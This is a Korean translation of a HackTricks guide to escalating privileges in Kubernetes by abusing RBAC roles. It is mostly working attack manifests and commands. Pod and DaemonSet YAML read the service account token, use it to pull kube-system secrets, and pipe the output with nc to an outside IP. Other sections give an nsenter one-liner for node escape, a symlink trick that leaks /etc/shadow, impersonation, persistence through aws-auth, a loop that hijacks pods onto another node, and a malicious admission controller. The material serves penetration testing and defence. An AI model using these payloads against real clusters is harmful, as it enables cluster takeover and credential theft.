Abusing Roles/ClusterRoles in Kubernetes

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)를 통해!

HackTricks를 지원하는 다른 방법:

여기에서 잠재적으로 위험한 Roles 및 ClusterRoles 구성을 찾을 수 있습니다. kubectl api-resources를 사용하여 모든 지원되는 리소스를 얻을 수 있다는 것을 기억하세요.

권한 상승

쿠버네티스에서 다른 권한을 가진 다른 주체에게 액세스하는 예술을 의미하는 권한 상승으로, 쿠버네티스에서는 기본적으로 4가지 주요 기술을 사용하여 권한을 상승할 수 있습니다:

  • 쿠버네티스 클러스터 내부 또는 외부 클라우드로 더 나은 권한을 가진 다른 사용자/그룹/SAs를 흉내 내는 능력

  • 쿠버네티스 클러스터 내부 또는 외부 클라우드로 더 나은 권한을 가진 SAs를 찾거나 연결할 수 있는 팟을 생성/패치/실행하는 능력

  • SAs 토큰이 비밀로 저장되어 있기 때문에 비밀을 읽을 수 있는 능력

  • 컨테이너에서 노드로 탈출할 수 있는 능력으로, 노드에서 실행 중인 컨테이너의 모든 비밀, 노드의 자격 증명 및 클라우드 내에서 노드의 권한을 도난당할 수 있음

  • 팟에서 포트 포워드를 실행할 수 있는 능력으로, 해당 팟 내의 흥미로운 리소스에 액세스할 수 있을 수 있음.

모든 리소스 또는 동사에 액세스 (와일드카드)

와일드카드 (*)는 모든 리소스에 대한 모든 동사 권한을 부여합니다. 관리자가 사용합니다. ClusterRole 내부에서 이는 공격자가 클러스터 내의 모든 네임스페이스를 남용할 수 있다는 것을 의미합니다.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

특정 동사로 모든 리소스에 액세스하기

RBAC에서 특정 권한은 중대한 위험을 야기할 수 있습니다:

  1. create: 어떤 클러스터 리소스든 생성할 수 있는 권한을 부여하여 권한 상승을 위협합니다.

  2. list: 모든 리소스를 나열할 수 있는 권한으로 민감한 데이터 누출 가능성이 있습니다.

  3. get: 서비스 계정에서 비밀을 액세스할 수 있게 허용하여 보안 위협을 야기할 수 있습니다.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod 생성 - 토큰 도용

Pod를 생성할 수 있는 권한을 가진 공격자는 특권이 있는 서비스 계정을 Pod에 첨부하여 토큰을 도용하고 서비스 계정을 가장하는 것으로 권한을 획득할 수 있습니다.

공격자에게 토큰을 전송할 bootstrap-signer 서비스 계정의 토큰을 도용하는 Pod의 예시:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod 생성 및 이스케이프

다음은 컨테이너가 가질 수 있는 모든 권한을 나타냅니다:

  • 특권 액세스 (보호 기능 비활성화 및 기능 설정)

  • 네임스페이스 호스트 IPC 및 호스트 PID 비활성화로 권한 상승에 도움을 줄 수 있음

  • 호스트 네트워크 비활성화 네임스페이스, 노드 클라우드 권한을 훔치고 네트워크에 더 나은 액세스 권한 부여

  • 컨테이너 내부에 호스트 / 마운트

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

다음과 같이 pod를 생성하십시오:

kubectl --token $token create -f mount_root.yaml

이 트윗에서의 한 줄과 몇 가지 추가 사항:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

은신

아마도 더 은밀하게 움직이고 싶을 것입니다. 이전 템플릿에서 언급된 특권 중 일부만 활성화하여 파드를 생성하면 액세스할 수 있는 내용을 확인할 수 있습니다:

  • Privileged + hostPID

  • Privileged only

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

이전 특권이 부여된 파드 구성을 생성/남용하는 예제는 https://github.com/BishopFox/badPods 에서 찾을 수 있습니다.

파드 생성 - 클라우드로 이동

파드 (및 선택적으로 서비스 계정)를 생성할 수 있다면 파드나 서비스 계정에 클라우드 역할을 할당한 다음 액세스하여 클라우드 환경에서 특권을 획득할 수 있습니다. 또한 호스트 네트워크 네임스페이스를 사용하여 파드를 생성할 수 있다면 노드 인스턴스의 IAM 역할을 탈취할 수 있습니다.

자세한 정보는 확인하세요:

pagePod Escape Privileges

배포, 데몬셋, 스테이트풀셋, 복제컨트롤러, 레플리카셋, 작업 및 크론잡 생성/패치

이러한 권한을 남용하여 새로운 파드를 생성하고 이전 예제와 같이 특권을 획득할 수 있습니다.

다음 YAML은 데몬셋을 생성하고 파드 내부의 SA 토큰을 유출합니다:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

**pods/exec**은 쿠버네티스에서 팟 내부의 쉘에서 명령을 실행하는 데 사용되는 리소스입니다. 이를 통해 컨테이너 내부에서 명령을 실행하거나 쉘에 들어갈 수 있습니다.

따라서 팟 내부로 들어가 SA의 토큰을 훔치거나 특권이 있는 팟에 들어가 노드로 이탈하여 노드 내의 모든 팟의 토큰을 훔칠 수 있고 노드를 (남용)할 수 있습니다:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

포트 포워드

이 권한은 로컬 포트를 지정된 팟 내의 포트로 전달하는 것을 허용합니다. 이는 팟 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하는 것을 의도했지만, 공격자는 팟 내의 흥미로운(예: DB) 또는 취약한 애플리케이션(웹?)에 액세스하기 위해 이를 남용할 수 있습니다:

kubectl port-forward pod/mypod 5000:5000

호스트 쓰기 가능 /var/log/ 탈출

이 연구에서 나타난 것대로, 호스트의 /var/log/ 디렉토리가 마운트된 팟에 액세스하거나 생성할 수 있다면, 컨테이너에서 탈출할 수 있습니다. 이는 기본적으로 Kube-API가 컨테이너의 로그를 가져오려고 할 때 (kubectl logs <pod>를 사용함) Kubelet 서비스의 /logs/ 엔드포인트를 사용하여 팟의 0.log 파일을 요청하기 때문입니다. Kubelet 서비스는 컨테이너의 /var/log 파일 시스템을 노출하는 /logs/ 엔드포인트를 노출합니다.

따라서, 컨테이너의 /var/log/ 폴더에 쓰기 액세스할 수 있는 공격자는 다음 2가지 방법으로 이러한 동작을 악용할 수 있습니다:

  • 일반적으로 /var/logs/pods/namespace_pod_uid/container/0.log에 위치한 컨테이너의 0.log 파일을 /etc/shadow를 가리키는 심볼릭 링크로 수정합니다. 그런 다음, 다음을 수행하여 호스트의 shadow 파일을 유출할 수 있습니다:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • 만약 공격자가 nodes/log를 읽을 수 있는 권한을 가진 주체를 제어한다면, /host-mounted/var/log/sym/로의 심볼릭 링크를 만들고, https://<gateway>:10250/logs/sym/에 접근할 때 호스트의 루트 파일 시스템을 나열할 수 있습니다 (심볼릭 링크를 변경하면 파일에 액세스할 수 있음).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

해당 실험실과 자동화된 악용은 https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

readOnly 보호 우회

충분히 운이 좋고 고도로 권한이 부여된 CAP_SYS_ADMIN 기능이 사용 가능한 경우, 폴더를 간단히 읽기/쓰기로 다시 마운트할 수 있습니다:

mount -o rw,remount /hostlogs/

hostPath 읽기 전용 보호 기능 우회

이 연구에서 언급된 대로 이 보호 기능을 우회할 수 있습니다:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

다음은 이전과 같은 탈출을 방지하기 위해 hostPath 마운트 대신 PersistentVolume 및 PersistentVolumeClaim을 사용하여 호스트 폴더를 컨테이너에 쓰기 액세스로 마운트하는 것을 의미했습니다:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

특권 계정 위장

사용자 위장 권한을 사용하면 공격자가 특권 계정으로 위장할 수 있습니다.

kubectl 명령어에서 --as=<username> 매개변수를 사용하여 사용자로 위장하거나, --as-group=<group>을 사용하여 그룹으로 위장할 수 있습니다:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

또는 REST API를 사용하십시오:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

비밀 목록

비밀을 나열할 수 있는 권한은 공격자가 REST API 엔드포인트에 액세스하여 비밀을 실제로 읽을 수 있게 할 수 있습니다:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

시크릿 읽기 - 토큰 ID 브루트포싱

읽기 권한이 있는 토큰을 소유한 공격자는 해당 시크릿의 정확한 이름을 사용해야 하지만, 더 넓은 시크릿 목록 권한과는 달리 취약점이 여전히 존재합니다. 시스템의 기본 서비스 계정은 열거될 수 있으며, 각각이 시크릿과 연관되어 있습니다. 이러한 시크릿은 정적 접두사 뒤에 무작위 다섯 자리 알파벳 및 숫자 토큰(특정 문자 제외)으로 구성된 이름 구조를 가지고 있습니다. 이 토큰은 소스 코드에 따라 생성됩니다.

토큰은 전체 알파벳 및 숫자 범위가 아닌 제한된 27자 문자 집합(bcdfghjklmnpqrstvwxz2456789)에서 생성됩니다. 이 제한으로 인해 총 가능한 조합 수가 14,348,907(27^5)로 줄어듭니다. 결과적으로 공격자는 상대적으로 몇 시간 안에 토큰을 추측하기 위한 브루트포스 공격을 실행할 수 있으며, 민감한 서비스 계정에 액세스하여 권한 상슨으로 이어질 수 있습니다.

인증서 서명 요청

certificatesigningrequests 리소스에서 create 동사를 가지고 있다면(또는 적어도 certificatesigningrequests/nodeClient에서), 새 노드의 새 CeSR을 생성할 수 있습니다.

문서에 따르면 이 요청을 자동으로 승인할 수 있습니다, 따라서 이 경우 추가 권한이 필요하지 않습니다. 그렇지 않은 경우, 요청을 승인할 수 있어야 하며, 이는 certificatesigningrequests/approval에서 업데이트하고 <signerNameDomain>/<signerNamePath> 또는 <signerNameDomain>/*의 resourceName으로 signers에서 approve해야 합니다.

필요한 모든 권한을 갖춘 역할의 예시는 다음과 같습니다:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

그래서, 새 노드 CSR이 승인되면 노드의 특별한 권한을 남용하여 비밀을 훔치고 권한을 승격할 수 있습니다.

이 게시물이 게시물에서 GKE K8s TLS 부트스트랩 구성이 자동 서명으로 구성되어 있으며, 새 K8s 노드의 자격 증명을 생성하고 그것을 남용하여 비밀을 훔치고 권한을 승격합니다. 언급된 권한이 있다면 동일한 작업을 수행할 수 있습니다. 첫 번째 예제는 새 노드가 자신에게 장착된 컨테이너 내의 비밀에 액세스하는 것을 방지하는 오류를 우회합니다. 왜냐하면 노드는 자신에게 장착된 컨테이너의 비밀에만 액세스할 수 있기 때문입니다.

이를 우회하는 방법은 흥미로운 비밀이 장착된 컨테이너가 있는 노드 이름에 대한 노드 자격 증명을 생성하는 것입니다 (그러나 이를 수행하는 방법은 첫 번째 게시물에서 확인하십시오):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

AWS(EKS) 클러스터의 kube-system 네임스페이스에서 **configmaps**를 수정할 수 있는 주체들은 aws-auth configmap을 덮어쓰면 클러스터 관리자 권한을 얻을 수 있습니다. 필요한 동사는 **update**와 **patch**이며, configmap이 생성되지 않았다면 **create**가 필요합니다:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

**aws-auth**를 사용하여 영속성을 제공하여 다른 계정의 사용자에게 액세스 권한을 부여할 수 있습니다.

그러나 aws --profile other_account eks update-kubeconfig --name <cluster-name>다른 계정에서 작동하지 않습니다. 그러나 실제로 aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing은 클러스터의 ARN을 이름 대신에 넣으면 작동합니다. kubectl을 작동시키려면 피해자의 kubeconfig를 구성하고 aws exec args에 --profile other_account_role을 추가하여 kubectl이 토큰을 가져오고 AWS에 연락하기 위해 다른 계정 프로필을 사용하도록 만드십시오.

GKE에서 승격하기

GCP 주체에 K8s 권한을 할당하는 방법은 2가지가 있습니다. 어떤 경우에도 주체는 클러스터에 액세스할 자격 증명을 수집할 수 있도록 container.clusters.get 권한도 필요하거나 자체 kubectl 구성 파일을 생성해야 합니다(다음 링크를 따르십시오).

K8s api 엔드포인트와 통신할 때 GCP 인증 토큰이 전송됩니다. 그런 다음 GCP는 K8s api 엔드포인트를 통해 먼저 **주체(이메일로)**가 클러스터 내에서 액세스 권한이 있는지 확인한 후 GCP IAM을 통해 액세스 권한이 있는지 확인합니다. 이 중 어느 하나라도 참이면 응답됩니다. 그렇지 않으면 GCP IAM을 통해 권한을 부여하라는 오류가 표시됩니다.

그런 다음, 첫 번째 방법은 GCP IAM을 사용하는 것이며, K8s 권한에는 해당 GCP IAM 권한이 있으며, 주체가 해당 권한을 가지고 있다면 사용할 수 있습니다.

pageGCP - Container Privesc

두 번째 방법은 클러스터 내에서 **이메일(포함된 GCP 서비스 계정)**을 식별하여 K8s 권한을 할당하는 것입니다.

서비스 계정 토큰 생성

TokenRequests를 생성할 수 있는 주체(serviceaccounts/token)는 K8s api 엔드포인트와 통신할 때 SAs(여기서 정보 확인: 여기)입니다.

ephemeralcontainers

pods/ephemeralcontainersupdate하거나 patch할 수 있는 주체다른 파드에서 코드 실행을 얻을 수 있으며, 특권 있는 securityContext를 가진 ephemeral container를 추가하여 노드로 탈출할 수도 있습니다.

ValidatingWebhookConfigurations 또는 MutatingWebhookConfigurations

validatingwebhookconfigurations 또는 mutatingwebhookconfigurations 위에 create, update 또는 patch 중 하나의 동사를 가진 주체는 해당 webhookconfigurations 중 하나를 생성하여 권한을 승격할 수 있습니다.

mutatingwebhookconfigurations 예제는 이 게시물의 이 섹션을 확인하십시오.

승격

다음 섹션에서 읽을 수 있듯이: 내장된 특권 승격 방지에 따르면, 주체는 자신에게 새 권한을 부여하지 않고는 역할 또는 클러스터 역할을 업데이트하거나 생성할 수 없습니다. roles 또는 clusterroles 위에 escalate 동사를 가지고 있다면, 그가 가진 권한보다 더 나은 권한을 가진 새 역할, 클러스터 역할을 업데이트/생성할 수 있습니다.

노드 프록시

nodes/proxy 하위 리소스에 액세스할 수 있는 주체는 Kubelet API를 통해 팟에서 코드를 실행할 수 있습니다(여기 참조). 이 페이지에서 Kubelet 인증에 대한 자세한 정보를 확인할 수 있습니다:

pageKubelet Authentication & Authorization

권한이 있는 주체가 팟을 삭제(pods 리소스에 대한 delete 동사), 팟을 제거(pods/eviction 리소스에 대한 create 동사), 팟 상태 변경(access to pods/status) 및 다른 노드를 스케줄할 수 없게 만들 수 있는 주체(nodes/status에 대한 액세스) 또는 노드를 삭제(nodes 리소스에 대한 delete 동사)하고 팟을 제어할 수 있는 경우, 다른 노드에서 팟을 도난당하여 취약한 노드에서 실행되도록 만들고 공격자가 해당 팟에서 토큰을 도난당할 수 있습니다.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

서비스 상태 (CVE-2020-8554)

**services/status**를 수정할 수 있는 주체는 status.loadBalancer.ingress.ip 필드를 설정하여 수정되지 않은 CVE-2020-8554를 악용하고 클러스터에 대한 MiTM 공격을 시작할 수 있습니다. CVE-2020-8554에 대한 대부분의 완화 조치는 외부 IP 서비스만을 방지합니다 (여기에 따르면).

노드 및 파드 상태

nodes/status 또는 pods/status에 대한 update 또는 patch 권한을 가진 주체는 레이블을 수정하여 적용되는 스케줄링 제약을 변경할 수 있습니다.

내장된 권한 상승 방지

Kubernetes에는 내장된 메커니즘이 있어 권한 상승을 방지합니다.

이 시스템은 사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장합니다. 이 규칙의 시행은 API 수준에서 발생하여 RBAC 인가자가 비활성화되어 있을 때에도 안전장치를 제공합니다.

이 규칙은 사용자가 역할이 포함하는 모든 권한을 소유해야만 역할을 생성하거나 업데이트할 수 있다고 규정합니다. 또한, 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체 또는 Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)로 제한됩니다.

이전 규칙에는 예외가 있습니다. 주체가 roles 또는 clusterroles 위에 escalate 동사를 가지고 있다면 권한이 없어도 역할 및 클러스터 역할의 권한을 높일 수 있습니다.

RoleBindings/ClusterRoleBindings 가져오기 및 수정하기

이 기술은 이전에 작동했지만, 제 테스트에 따르면 이전 섹션에서 설명한 이유로 더 이상 작동하지 않습니다. 권한이 없는 경우 자신이나 다른 SA에 권한을 부여하기 위해 rolebinding을 생성하거나 수정할 수 없습니다.

Rolebindings를 생성할 권한은 사용자가 서비스 계정에 역할을 바인딩할 수 있게 합니다. 이 권한은 사용자가 손상된 서비스 계정에 관리자 권한을 바인딩할 수 있기 때문에 권한 상승으로 이어질 수 있습니다.

기타 공격

사이드카 프록시 앱

기본적으로 파드 간 통신에는 암호화가 없습니다. 상호 인증, 양방향, 파드 간 통신.

사이드카 프록시 앱 생성

.yaml 파일을 생성하세요.

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

.yaml 파일을 편집하고 주석 처리된 라인을 추가하십시오:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

프록시의 로그를 확인하세요:

kubectl logs app -C proxy

더 많은 정보: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

악의적인 Admission Controller

Admission Controller는 객체가 영속화되기 전에 Kubernetes API 서버로의 요청을 가로채지만 요청이 인증되고 승인된 후에 처리합니다.

공격자가 Mutationg Admission Controller를 삽입하는 방법을 찾으면 이미 인증된 요청을 수정할 수 있습니다. 이를 통해 권한 상승 및 클러스터에 지속적으로 남을 수 있습니다.

예시 https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

상태를 확인하여 준비되었는지 확인하십시오:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

그런 다음 새로운 파드를 배포하십시오:

kubectl run nginx --image nginx
kubectl get po -w

ErrImagePull 오류를 볼 때 이미지 이름을 다음 쿼리 중 하나로 확인하십시오:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

위의 이미지에서 볼 수 있듯이, 우리는 nginx 이미지를 실행하려고 시도했지만 최종 실행된 이미지는 rewanthtammana/malicious-image입니다. 무슨 일이 벌어졌나요!!?

기술적 세부 정보

./deploy.sh 스크립트는 mutating webhook admission controller를 설정하며, 이 controller는 구성 라인에 지정된대로 Kubernetes API로의 요청을 수정하여 관찰된 결과에 영향을 미칩니다:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

최적의 실천 방법

서비스 계정 토큰의 자동 마운트 비활성화

  • Pods 및 서비스 계정: 기본적으로 pods는 서비스 계정 토큰을 마운트합니다. Kubernetes는 이 자동 마운트 기능을 비활성화할 수 있도록 허용합니다.

  • 적용 방법: Kubernetes 버전 1.6부터 서비스 계정 또는 pods의 구성에서 automountServiceAccountToken: false를 설정합니다.

RoleBindings/ClusterRoleBindings에서 제한적인 사용자 할당

  • 선택적 포함: RoleBindings 또는 ClusterRoleBindings에 필요한 사용자만 포함되도록 합니다. 규칙적으로 검토하고 관련 없는 사용자를 제거하여 보안을 유지합니다.

네임스페이스별 Roles 대 클러스터 전체 Roles

  • Roles vs. ClusterRoles: 클러스터 전체에 적용되는 ClusterRoles 및 ClusterRoleBindings 대신 네임스페이스별 권한에는 Roles 및 RoleBindings를 사용하는 것이 좋습니다. 이 접근 방식은 더 세밀한 제어를 제공하고 권한의 범위를 제한합니다.

자동화 도구 사용

참고 자료

最終更新